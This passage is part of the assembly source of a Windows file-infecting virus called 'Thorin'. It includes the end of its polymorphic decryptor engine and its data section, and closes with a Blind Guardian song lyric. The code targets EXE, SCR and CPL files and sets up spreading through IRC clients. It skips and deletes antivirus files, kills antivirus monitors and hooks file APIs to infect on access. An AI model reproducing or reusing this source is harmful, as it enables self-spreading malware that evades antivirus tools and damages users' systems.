jmp THME_GIP_@@2_EXIT
THME_GIP_@@5: ; INC E??
mov bl,4 ; INC E??
call THME_GIP_IncIt ; INC E??
; INC E??
THME_GIP_EXIT:
ret
THME_GIP_AddIt:
mov al,83h
stosb
mov al,byte ptr [ebp+THME_PointerReg]
or al,11000000b
stosb
mov al,bl
stosb
ret
THME_GIP_IncIt:
movzx ecx,bl
mov al,40h
add al,byte ptr [ebp+THME_PointerReg]
THME_GIP_II_Loop:
stosb
pushad
call THME_GenGarbage
popad
loop THME_GIP_II_Loop
ret
THME_GenDecCounter:
mov eax,3
call r_range
xchg eax,ecx
jecxz THME_GDC_@@2
dec ecx
jecxz THME_GDC_@@3
THME_GDC_@@1: ; SUB E??,1
mov al,83h
stosb
mov al,byte ptr [ebp+THME_CounterReg]
or al,11101000b
stosb
mov al,1
stosb
jmp THME_GDC_EXIT
THME_GDC_@@2:
mov al,48h ; DEC E??
add al,byte ptr [ebp+THME_CounterReg]
stosb
jmp THME_GDC_EXIT
THME_GDC_@@3:
mov al,83h ; ADD E??,-1
stosb
mov al,byte ptr [ebp+THME_CounterReg]
or al,11000000b
stosb
mov al,0FFh
stosb
THME_GDC_EXIT:
ret
THME_GenLoop:
mov ax,850Fh ; JNZ FAR ????????
stosw
mov eax,dword ptr [ebp+THME_LoopAddress]
sub eax,edi
sub eax,00000004h
stosd
ret
THME_OneByters label byte
cld
cmc
clc
stc
dec eax
inc eax
lahf
nop
salc
sTHME_OneByters equ ($-THME_OneByters)
THME_Copro label byte
f2xm1
fabs
fadd
faddp
fchs
fnclex
fcom
fcomp
fcompp
fcos
fdecstp
fdiv
fdivp
fdivr
fdivrp
ffree
fincstp
fld1
fldl2t
fldl2e
fldpi
fldln2
fldz
fmul
fmulp
fnclex
fnop
fpatan
fprem
fprem1
fptan
frndint
fscale
fsin
fsincos
fsqrt
fst
fstp
fsub
fsubp
fsubr
fsubrp
ftst
fucom
fucomp
fucompp
fxam
fxtract
fyl2x
fyl2xp1
sTHME_Copro equ (($-THME_Copro)/2)
; Possibilities before crypt operation
THME_Decrypt1 label byte
dd offset (THME_Decrypt1a)
dd offset (THME_Decrypt1b)
dd offset (THME_Decrypt1c)
sTHME_Decrypt1 equ (($-THME_Decrypt1)/4)
THME_Decrypt1a label byte
dd offset (THME_GenDeltaOffset)
dd offset (THME_GenLoadSize)
dd offset (THME_GenLoadPointer)
sTHME_Decrypt1a equ (($-THME_Decrypt1a)/4)
THME_Decrypt1b label byte
dd offset (THME_GenDeltaOffset)
dd offset (THME_GenLoadPointer)
dd offset (THME_GenLoadSize)
sTHME_Decrypt1b equ (($-THME_Decrypt1b)/4)
THME_Decrypt1c label byte
dd offset (THME_GenLoadSize)
dd offset (THME_GenDeltaOffset)
dd offset (THME_GenLoadPointer)
sTHME_Decrypt1c equ (($-THME_Decrypt1c)/4)
; Main table (for garbage generation)
THME_GBG_Table label byte
dd offset (THME_GBG_Arithmetic_EAX_IMM32)
dd offset (THME_GBG_Arithmetic_REG32_REG32)
dd offset (THME_GBG_Arithmetic_REG32_IMM32)
dd offset (THME_GBG_MOV_REG16_REG16)
dd offset (THME_GBG_MOV_REG16_IMM16)
dd offset (THME_GBG_MOV_REG32_REG32)
dd offset (THME_GBG_MOV_REG32_IMM32)
dd offset (THME_GBG_GenOneByter)
dd offset (THME_GBG_GenCopro)
dd offset (THME_GBG_GenPUSHPOP)
dd offset (THME_GBG_GenCALL_Type1)
sTHME_GBG_Table equ (($-THME_GBG_Table)/4)
thme_end label byte
THME endp
; ===========================================================================
; Random procedures
; ===========================================================================
;
; RANDOM
;
; input:
; Nothing.
; output:
; EAX = Random number
;
random proc ; Thanx MDriller! ;)
push ecx
mov eax,dword ptr [ebp+rnd_seed1]
dec dword ptr [ebp+rnd_seed1]
xor eax,dword ptr [ebp+rnd_seed2]
mov ecx,eax
rol dword ptr [ebp+rnd_seed1],cl
add dword ptr [ebp+rnd_seed2],eax
adc eax,dword ptr [ebp+rnd_seed2]
add eax,ecx
ror eax,cl
not eax
sub eax,3
xor dword ptr [ebp+rnd_seed2],eax
xor eax,dword ptr [ebp+rnd_seed3]
rol dword ptr [ebp+rnd_seed3],1
sub dword ptr [ebp+rnd_seed3],ecx
sbb dword ptr [ebp+rnd_seed3],4
inc dword ptr [ebp+rnd_seed2]
pop ecx
ret
random endp
; R_RANGE
;
; input:
; EAX = Number of possible random numbers
; output:
; EAX = Number between 0 and (EAX-1)
r_range proc
push ecx
push edx
mov ecx,eax
call random
xor edx,edx
div ecx
mov eax,edx
pop edx
pop ecx
ret
r_range endp
; ===========================================================================
; Virus data
; ===========================================================================
; I went to god just to see, and i was looking at me.
_MASK db "*."
EXTENSION dd 00000000h
EXTENSIONS db "EXE",0 ; Nice table: very easy to
db "SCR",0 ; add new extensions to infect
db "CPL",0
n_EXT equ (($-offset EXTENSIONS)/4)
ALL_MASK db "*.*",0
dotdot db "..",0
root db "c:\",0 ; Don't be afraid... :)
key_mIRC db "iKX\Thorin\mIRC32",0
key_PIRCH db "iKX\Thorin\Pirch32",0
key_ViRC97 db "iKX\Thorin\ViRC97",0
; Whoaaaaa... many many many payloads!
payload_table label byte
dd offset (payload1)
dd offset (payload2)
dd offset (payload3)
dd offset (payload4)
dd offset (payload5)
payload_number equ (($-offset payload_table)/4)
infections dd 00000000h
imagebase dd imagebase_
kernel dd kernel_
K32_DLL db "KERNEL32.dll",0
K32_Size equ $-K32_DLL
szSHELL32 db "SHELL32",0
szUSER32 db "USER32",0
szADVAPI32 db "ADVAPI32",0
szOPEN db "OPEN",0
szMicro$oft db "http://www.microsoft.com",0 ; Yaaaaaaargh!!!
; @@BadProgramz structure
; ???????????????????????
; +02h String Size
; +??h First letters (string size) of files we don't want to be infected
@@BadProgramz label byte
db 02h,"TB" ; ThunderByte?
db 02h,"F-" ; F-Prot?
db 03h,"NAV" ; Norton Antivirus?
db 03h,"AVP" ; AVP?
db 03h,"WEB" ; DrWeb?
db 03h,"PAV" ; Panda?
db 03h,"DRW" ; DrWeb?
db 04h,"DSAV" ; Dr Solomon?
db 03h,"NOD" ; Nod-Ice?
db 06h,"WINICE" ; SoftIce?
db 06h,"FORMAT" ; Format?
db 05h,"FDISK" ; Fdisk?
db 08h,"SCANDSKW" ; ScanDisk?
db 06h,"DEFRAG" ; Defrag?
db 0BBh
@@BadPhilez label byte ; Files to delete in all dirz
ANTIVIR_DAT db "ANTI-VIR.DAT",0
CHKLIST_DAT db "CHKLIST.DAT",0
CHKLIST_TAV db "CHKLIST.TAV",0
CHKLIST_MS db "CHKLIST.MS",0
CHKLIST_CPS db "CHKLIST.CPS",0
AVP_CRC db "AVP.CRC",0
IVB_NTZ db "IVB.NTZ",0
SMARTCHK_MS db "SMARTCHK.MS",0
SMARTCHK_CPS db "SMARTCHK.CPS",0
Monitors2Kill label byte
db "AVP Monitor",0
db "Amon Antivirus Monitor",0
db 0BBh
; @@Hookz structure
; ?????????????????
; +00h API Name
; +??h Bytes from beginning of virus until beginning of hook handler
@@Hookz label byte
?szMoveFileA db "MoveFileA",0
?hnMoveFileA dd (offset HookMoveFileA)
?szCopyFileA db "CopyFileA",0
?hnCopyFileA dd (offset HookCopyFileA)
?szGetFullPathNameA db "GetFullPathNameA",0
?hnGetFullPathNameA dd (offset HookGetFullPathNameA)
?szDeleteFileA db "DeleteFileA",0
?hnDeleteFileA dd (offset HookDeleteFileA)
?szWinExec db "WinExec",0
?hnWinExec dd (offset HookWinExec)
?szCreateProcessA db "CreateProcessA",0
?hnCreateProcessA dd (offset HookCreateProcessA)
?szCreateFileA db "CreateFileA",0
?hnCreateFileA dd (offset HookCreateFileA)
?szGetFileAttributesA db "GetFileAttributesA",0
?hnGetFileAttributesA dd (offset HookGetFileAttributesA)
?szFindFirstFileA db "FindFirstFileA",0
?hnFindFirstFileA dd (offset HookFindFirstFileA)
?szFindNextFileA db "FindNextFileA",0
?hnFindNextFileA dd (offset HookFindNextFileA)
?szHookGetProcAddress db "GetProcAddress",0
?hnHookGetProcAddress dd (offset HookGetProcAddress)
db "" ; How funny ;)
@IsDebuggerPresent db "IsDebuggerPresent",0
; Hrm, i think i should write some compression engine for that API shit :)
@@Namez label byte
@GetModuleHandleA db "GetModuleHandleA",0
@LoadLibraryA db "LoadLibraryA",0
@FindClose db "FindClose",0
@SetFilePointer db "SetFilePointer",0
@SetFileAttributesA db "SetFileAttributesA",0
@CloseHandle db "CloseHandle",0
@GetCurrentDirectoryA db "GetCurrentDirectoryA",0
@SetCurrentDirectoryA db "SetCurrentDirectoryA",0
@GetWindowsDirectoryA db "GetWindowsDirectoryA",0
@GetSystemDirectoryA db "GetSystemDirectoryA",0
@CreateFileMappingA db "CreateFileMappingA",0
@MapViewOfFile db "MapViewOfFile",0
@UnmapViewOfFile db "UnmapViewOfFile",0
@SetEndOfFile db "SetEndOfFile",0
@WriteFile db "WriteFile",0
@GetTickCount db "GetTickCount",0
@GetVersion db "GetVersion",0
@GlobalAlloc db "GlobalAlloc",0
@GlobalFree db "GlobalFree",0
@GetFileSize db "GetFileSize",0
@SetVolumeLabelA db "SetVolumeLabelA",0
@GetSystemTime db "GetSystemTime",0
@@HookedNamez label byte
@MoveFileA db "MoveFileA",0
@CopyFileA db "CopyFileA",0
@GetFullPathNameA db "GetFullPathNameA",0
@DeleteFileA db "DeleteFileA",0
@WinExec db "WinExec",0
@CreateProcessA db "CreateProcessA",0
@CreateFileA db "CreateFileA",0
@GetFileAttributesA db "GetFileAttributesA",0
@FindFirstFileA db "FindFirstFileA",0
@FindNextFileA db "FindNextFileA",0
@GetProcAddress db "GetProcAddress",0
db 0BBh ; I rule! :)
@@USER32_APIs label byte
@SwapMouseButton db "SwapMouseButton",0
@MessageBoxA db "MessageBoxA",0
@FindWindowA db "FindWindowA",0
@PostMessageA db "PostMessageA",0
db " " ; I like girls...
@@ADVAPI32_APIs label byte
@RegCreateKeyExA db "RegCreateKeyExA",0
@RegOpenKeyExA db "RegOpenKeyExA",0
@RegDeleteKeyA db "RegDeleteKeyA",0
db "" ; And music tho :)
@@SHELL32_APIs label byte
@ShellExecuteA db "ShellExecuteA",0
random_seed label byte
rnd_seed1 dd 00000000h
rnd_seed2 dd 00000000h
rnd_seed3 dd 00000000h
dd 00000000h
; THME Poly Engine data
THME_CounterReg db 00h
THME_PointerReg db 00h
THME_DeltaReg db 00h
THME_CoproInit db 00h
THME_CryptOp db 00h
THME_Recursion db 00h
THME_LoopAddress db 00000000h
THME_CryptKey dd 00000000h
THME_Pointer dd 00000000h
THME_Data2crypt dd 00000000h
THME_Size2crypt dd 00000000h
THME_S2C_div4 dd 00000000h
THME_GDO_TmpCll dd 00000000h
THME_Fix1 dd 00000000h
THME_Key1 dd 00000000h ; ADD/SUB/XOR key
; Virus data
NewSize dd 00000000h
SearchHandle dd 00000000h
FileHandle dd 00000000h
MapHandle dd 00000000h
MapAddress dd 00000000h
AddressTableVA dd 00000000h
NameTableVA dd 00000000h
OrdinalTableVA dd 00000000h
TempGA_IT1 dd 00000000h
TempGA_IT2 dd 00000000h
TempHandle dd 00000000h
iobytes dd 00000000h,00000000h,00000000h,00000000h,00000000h
GlobalAllocHnd dd 00000000h
GlobalAllocHnd_ dd 00000000h
TSHandle dd 00000000h
RegHandle dd 00000000h
Disposition dd 00000000h
lpFilePart dd 00000000h
WFD_HndInMem dd 00000000h
WFD_Handles_Count db 00h
CoolFlag db 00h
inNT db 00h
CurrentExt db 00h
tempcurdir db 7Fh dup (00h)
@@Offsetz label byte
_GetModuleHandleA dd 00000000h
_LoadLibraryA dd 00000000h
_FindClose dd 00000000h
_SetFilePointer dd 00000000h
_SetFileAttributesA dd 00000000h
_CloseHandle dd 00000000h
_GetCurrentDirectoryA dd 00000000h
_SetCurrentDirectoryA dd 00000000h
_GetWindowsDirectoryA dd 00000000h
_GetSystemDirectoryA dd 00000000h
_CreateFileMappingA dd 00000000h
_MapViewOfFile dd 00000000h
_UnmapViewOfFile dd 00000000h
_SetEndOfFile dd 00000000h
_WriteFile dd 00000000h
_GetTickCount dd 00000000h
_GetVersion dd 00000000h
_GlobalAlloc dd 00000000h
_GlobalFree dd 00000000h
_GetFileSize dd 00000000h
_SetVolumeLabelA dd 00000000h
_GetSystemTime dd 00000000h
@@HookedOffsetz label byte
_MoveFileA dd 00000000h
_CopyFileA dd 00000000h
_GetFullPathNameA dd 00000000h
_DeleteFileA dd 00000000h
_WinExec dd 00000000h
_CreateProcessA dd 00000000h
_CreateFileA dd 00000000h
_GetFileAttributesA dd 00000000h
_FindFirstFileA dd 00000000h
_FindNextFileA dd 00000000h
_GetProcAddress dd 00000000h
n_HookedAPIs equ (($-@@HookedOffsetz)/4)
@@USER32_Addresses label byte
_SwapMouseButton dd 00000000h
_MessageBoxA dd 00000000h
_FindWindowA dd 00000000h
_PostMessageA dd 00000000h
@@ADVAPI32_Addresses label byte
_RegCreateKeyExA dd 00000000h
_RegOpenKeyExA dd 00000000h
_RegDeleteKeyA dd 00000000h
MAX_PATH equ 260
FILETIME STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
FILETIME ENDS
WIN32_FIND_DATA label byte
WFD_dwFileAttributes dd ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh dd ?
WFD_nFileSizeLow dd ?
WFD_dwReserved0 dd ?
WFD_dwReserved1 dd ?
WFD_szFileName db MAX_PATH dup (?)
WFD_szAlternateFileName db 13 dup (?)
db 03 dup (?)
_WIN32_FIND_DATA label byte
_WFD_dwFileAttributes dd ?
_WFD_ftCreationTime FILETIME ?
_WFD_ftLastAccessTime FILETIME ?
_WFD_ftLastWriteTime FILETIME ?
_WFD_nFileSizeHigh dd ?
_WFD_nFileSizeLow dd ?
_WFD_dwReserved0 dd ?
_WFD_dwReserved1 dd ?
_WFD_szFileName db MAX_PATH dup (?)
_WFD_szAlternateFileName db 13 dup (?)
db 03 dup (?)
SYSTEMTIME label byte
ST_wYear dw ?
ST_wMonth dw ?
ST_wDayOfWeek dw ?
ST_wDay dw ?
ST_wHour dw ?
ST_wMinute dw ?
ST_wSecond dw ?
ST_wMilliseconds dw ?
directories label byte
WindowsDir db 7Fh dup (00h)
SystemDir db 7Fh dup (00h)
OriginDir db 7Fh dup (00h)
dirs2inf equ (($-directories)/7Fh)
mirrormirror db dirs2inf
align dword
crypt_end label byte
virus_end label byte
; ===========================================================================
; First generation host
; ===========================================================================
; I'm alone. I'm with me. I'm thinking. I'm dangerous.
fakehost:
pop dword ptr fs:[0]
pop eax
popad
popfd
xor eax,eax
push eax
push offset szTitle
push offset szMessage
push eax
call MessageBoxA
push 00000000h
call ExitProcess
end thorin
; ===========================================================================
; Bonus Track
; ===========================================================================
;
; As this virus is related with Tolkien, there is also a relation with some
; songs of my favourite band: Blind Guardian. And as most of you don't know
; a shit about them, here i will put one song: The Bard's Song [in the fo-
; rest], that is the hymn of all Blind Guardian's fans. By the way, i have to
; wish them good luck, because i've heard that their vocalist had recently an
; operation in his ear. Good luck, Hansi!!! We will always love you!
;
; Bard's Song [in the forest]
; ???????????????????????????
; Now you all know
; The bards and their songs
; When hours have gone by
; I'll close my eyes
; In a world far away
; We may meet again
; But now hear my song
; About the dawn of the night
; Let's sing the bards' song
;
; Tomorrow will take us away
; Far from home
; Noone will ever know our names
; But the bards' song will remain
; Tomorrow will take it away
; The fear of today
; It will be gone
; Due to our magic songs
;
; There's only one song
; Left in my mind
; Tales of a brave man
; Who lived far from here
;
; Now the bard songs are over
; And it's time to leave
; Noone should ask you for the name
; Of the one
; Who tells the story
;
; Tomorrow will take us away
; Far from home
; Noone will ever know our names
; But the bards' song will remain
; Tomorrow all will be known
; And you are not alone
; So don't be afraid
; In the dark and cold
; 'Cause the bards' song will remain
; They all will remain
;
; In my thoughts and dreams
; They're always in my mind
; These songs from hobbits, dwarves and men
; And elves
; Come close your eyes
; You can see them, too
;
; ---
; Copyright (c) 1992 by Blind Guardian; "Somewhere far beyond" album.